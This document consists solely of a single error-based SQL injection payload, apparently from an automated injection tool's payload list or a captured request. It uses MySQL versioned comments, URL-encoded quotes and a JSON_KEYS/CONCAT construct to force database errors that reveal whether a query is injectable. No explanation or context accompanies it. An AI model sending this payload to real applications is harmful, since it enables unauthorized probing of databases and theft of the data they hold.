1'||(SELECT 'pbt5jjLV' FROM DUAL WHERE 3923=3923,(/*!50000SELECT*/2409/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(2409=2409,1))),%27~%27))/**/USING/**/utf8))))x))||'